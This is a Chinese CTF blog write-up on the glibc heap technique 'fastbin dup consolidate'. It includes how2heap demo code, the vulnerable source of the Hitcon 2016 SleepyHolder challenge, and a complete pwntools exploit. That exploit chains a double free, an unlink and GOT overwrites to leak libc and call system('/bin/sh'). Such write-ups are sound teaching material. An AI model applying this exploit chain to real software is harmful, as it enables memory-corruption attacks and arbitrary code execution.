fastbin dup consolidate

一个简单的fastbin dup consolidate U•ェ•*U

相关过程

malloc的过程中如果chunk属于large bin,那么会计算large bin的index并且调用malloc_consolidate整理fastbin

1
2
3
4
5
6
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

malloc_consolidate会整理fastbin中的chunk,能合并的合并然后放进unsorted bin。在之后的遍历unsorted bin的过程中又会把chunk放进small bin
由于free一个属于fastbin的chunk时不检查nextchunk的preinuse位,所以可以构造double free

利用

2.26以下

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

(实验环境2.23)

  • 第一次free(p1)
  • malloc(0x400)触发malloc_consolidate
  • 第二次free(p1)

2.26以上

需要先填满tcache,其他一样

例题Hitcon 2016 SleepyHolder

静态分析

针不戳~有源码
del函数没有检查是否已经del,可以double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void del()
{
char buf[4];
int choice;
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);

switch(choice)
{
case 1:
free(f_ptr);
f_flag = 0;
break;
case 2:
free(s_ptr);
s_flag = 0;
break;
}

}

思路(fastbin_dup_consolidate+unlink)

这道题展示了fastbin_dup_consolidate的一个作用,就是可以在使用chunk时同时让nextchunk的preinuse位为0,辅助unlink

  • 先add一个small secret再add一个big secret
  • 对small secret进行fastbin dup consolidate
  • 在small secret里布置fake chunk,然后delete big secret触发unlink
    ps:这个时候如果使用gdb heap命令会很奇怪,top chunk没了 其实big secret和small secret里的fake chunk都收进top chunk里了,看fake chunk的大小就能看出来 或者看main_arena也能看出来,main_arena+88存的就是top chunk的地址 pss:之后的过程可能会有点绕o(TヘTo)
  • unlink结束后几个存secret的内存是这样的
    1
    2
    3
    big_secret		-> big_chunk
    huge_secret -> huge_chunk
    small_secret -> small_secret-0x18
  • add small secret向small_secret-0x18写payload
    1
    2
    3
    4
    				   b'bbbbbbbb'
    big_secret -> got['atoi'] -> atoi_addr
    huge_secret -> got['atoi'] -> atoi_addr
    small_secret -> got['free'] -> free_addr
  • update small secret向got[‘free’]写plt[‘puts’]
    1
    2
    3
    4
    				   b'bbbbbbbb'
    big_secret -> got['atoi'] -> atoi_addr
    huge_secret -> got['atoi'] -> atoi_addr
    small_secret -> got['free'] -> plt['puts']
  • 之后执行delete(big_secret)时实际执行的就是puts(got[‘atoi’]),此时atoi已经执行过所以got表里放的应该就是atoi的地址,减去偏移可以算出libc基址
  • 再update small secret向got[‘free’]写system_addr
    1
    2
    3
    4
    				   b'bbbbbbbb'
    big_secret -> got['atoi'] -> atoi_addr
    huge_secret -> got['atoi'] -> atoi_addr
    small_secret -> got['free'] -> system_addr
  • add big secret向got[‘atoi’]写b’/bin/sh\x00\x00’
    1
    2
    3
    4
    				   b'bbbbbbbb'
    big_secret -> got['atoi'] -> b'/bin/sh\x00\x00'
    huge_secret -> got['atoi'] -> atoi_addr
    small_secret -> got['free'] -> system_addr
  • 再delete(big_secret)时实际执行的就是system(got[‘atoi’]),而got[‘atoi’]这时存的是b’/bin/sh\x00\x00’,实际执行的就是system(‘/bin/sh’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(i,index,secret):
p.sendafter(b'3. Renew secret\n',b'1')
if i==1:
p.sendafter(b'2. Big secret\n',str(index).encode())
else:
p.sendafter(b'3. Keep a huge secret and lock it forever\n',str(index).encode())
p.sendafter(b'Tell me your secret: \n',secret)
def delete(index):
p.sendafter(b'3. Renew secret\n',b'2')
p.sendafter(b'2. Big secret\n',str(index).encode())
def update(index,secret):
p.sendafter(b'3. Renew secret\n',b'3')
p.sendafter(b'2. Big secret\n',str(index).encode())
p.sendafter(b'Tell me your secret: \n',secret)

p=process('./SleepyHolder')
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
elf=ELF('./SleepyHolder')
add(0,1,b'Q')
add(0,2,b'Q')
delete(1)
add(0,3,b'Q')
delete(1)
payload=p64(0)+p64(0x21)+p64(0x6020d0-0x18)+p64(0x6020d0-0x10)+p64(0x20)
add(1,1,payload)
delete(2)
gdb.attach(p)
payload=b'b'*8+p64(elf.got['atoi'])*2+p64(elf.got['free'])
update(1,payload)
update(1,p64(elf.plt['puts']))
delete(2)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
libcbase=u64(s)-libc.symbols['atoi']
print(hex(libcbase))
system_addr=libcbase+libc.symbols['system']
update(1,p64(system_addr))
add(1,2,b'/bin/sh\x00\x00')
delete(2)
p.interactive()
#gdb.attach(p)
#pause()

fastbin dup consolidate
http://akaieurus.github.io/2023/01/29/fastbin-dup-consolidate/
作者
Eurus
发布于
2023年1月29日
许可协议